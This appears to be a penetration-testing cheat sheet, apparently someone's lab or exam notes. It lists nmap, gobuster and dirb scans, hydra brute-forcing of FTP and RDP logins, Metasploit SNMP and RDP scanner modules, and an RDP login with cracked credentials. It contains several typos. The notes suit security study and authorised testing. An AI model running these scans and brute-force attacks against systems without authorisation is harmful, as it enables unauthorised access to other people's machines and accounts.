SCANNING

ifconfig - get the available machines a the network

nmap -sC -sV -p- -O -v -A -T4 192.168.144.1/24

nmap -p443,80,53,135,8080,8888 -A -O -sV -sC -T4 -oN nmapOutput ip

open ips in browser

gobuster -e -u http://10.10.10.10 -w wordlsit.txt

dirb http://10.10.10.10 wordlist.txt

ENUMERATING

BRUTEFORCING LOGINS

FTP(21)

hydra -L usernames.txt -P pass.txt ip ftp

SNMP(161)

snmp-check ip

- nmap -sU -p 161 --script=snmp-processes ip (check what processes running)

- msfconsole

search snmp

use auxiliary/scanner/snmp/snmp\_login

show options

set RHOSTS IP

set RPORT 161

exploit

SMB - refer nmap scripts

Exploiting RDP(3389)

confirm rdp port

msfconsole -q

search rdp

use auxiliary/scanner/rdp/rdp\_scanner

set RHOSTS ip

set RPORT 3333

exploit

shows ip:port (which found in nmap scan)

bruteforce RDP:

hydra -L usernmaes.txt -P pass.txt rdp://ip -s 3333

xfreerdp /u:username /p:password /v:ip:3333

NetBios (137/138/139)

nmap -sV --script nb.stat.nse ip (shows netbios service)